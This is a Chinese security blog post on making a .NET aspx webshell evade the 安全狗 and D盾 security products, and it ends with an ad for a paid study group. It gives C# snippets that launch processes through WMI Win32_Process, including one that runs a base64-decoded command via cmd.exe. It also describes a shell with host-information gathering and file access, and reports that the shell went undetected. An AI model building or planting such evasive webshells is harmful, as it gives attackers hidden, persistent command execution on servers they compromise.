.NET WebShell 免杀系列之win32_Process

渗透技巧 2年前 (2022) admin
745 0 0

dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题,这不今天有个群友问.NET WebShell 绕过和免杀的方法,.NET下通常用其他的类和方法触发命令执行Bypass安全狗和D盾,本文介绍基于WMI win32_Process实现免杀Webshell

0x01 ManagementClass.InvokeMethod

在.NET平台下使用ManagementClass类的初始方法加载WMI Win32_Process创建系统进程,通过Create方法启动新的进程,设置参数methodArgs数组的值为calc.exe,因为后面几个是可选参数,可省略成 object[] methodArgs = { “calc.exe” };  

ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)};object result = processClass.InvokeMethod("Create", methodArgs);

另外ManagementClass初始方法还可以指定WMI命名空间rootcimv2的方式调用Create方法,InvokeMethod还提供了两个带有ManagementOperationObserver类的重载方法,用于管理异步接收的管理信息和事件,在代码中直接实例化该对象

ManagementClass processClass = new ManagementClass("\root\cimv2:Win32_Process");object[] methodArgs = { "calc.exe" };processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs);

还有ManagementClass的GetMethodParameters方法 返回一个新进程的ManagementBaseObject类,传递参数给CommandLine 成功启动calc

ManagementBaseObject inParams = processClass.GetMethodParameters("Create");inParams["CommandLine"] = "calc.exe";ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null);

笔者改用aspx页面编写Webshell,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

.NET WebShell 免杀系列之win32_Process

用安全狗测试免杀效果,同目录下还有另外3个文件,aspx.aspx 是经典Jscript一句话木马,aspxspy.aspx 看文件名就知道是经典大马,xls.aspx 是基于xml文档实现的小马,对比被杀的3个Webshell,ManagementClass.InvokeMethod文件免杀效果非常理想,如下图

.NET WebShell 免杀系列之win32_Process

0x02 结语

文章涉及的PDF和文件已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

.NET WebShell 免杀系列之win32_Process

原文始发于微信公众号(dotNet安全矩阵):.NET WebShell 免杀系列之win32_Process

版权声明:admin 发表于 2022年6月28日 上午9:00。
转载请注明:.NET WebShell 免杀系列之win32_Process | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...